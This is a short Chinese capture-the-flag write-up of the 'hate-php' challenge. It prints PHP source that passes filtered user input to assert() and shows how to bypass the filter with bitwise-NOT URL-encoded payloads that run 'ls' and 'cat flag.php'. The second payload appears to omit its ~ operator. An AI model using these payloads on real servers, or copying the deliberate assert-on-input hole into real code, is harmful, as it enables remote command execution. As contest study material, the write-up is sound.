HacKerQWQ的博客空间

取反异或绕过

Word count: 217Reading time: 1 min
2020/08/12 Share

前言:垃圾就要多学习

第五空间智能安全大赛-hate-php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}

题目把系统内置函数还有一些符号放进了黑名单,因此得绕过

取反异或绕过

assert跟eval的区别就是不用加分号

1
2
3
echo urlencode(~"system"); #%8C%86%8C%8B%9A%92
echo urlencode(~"ls"); #%93%8C
echo urlencode(~"cat flag.php"); #%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F

最后拼接成

1
url?code=(~%8C%86%8C%8B%9A%92)((~%93%8C))

1
url?code=(~%8C%86%8C%8B%9A%92)((%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F))

CATALOG
  1. 1. 第五空间智能安全大赛-hate-php源码:
  2. 2. 取反异或绕过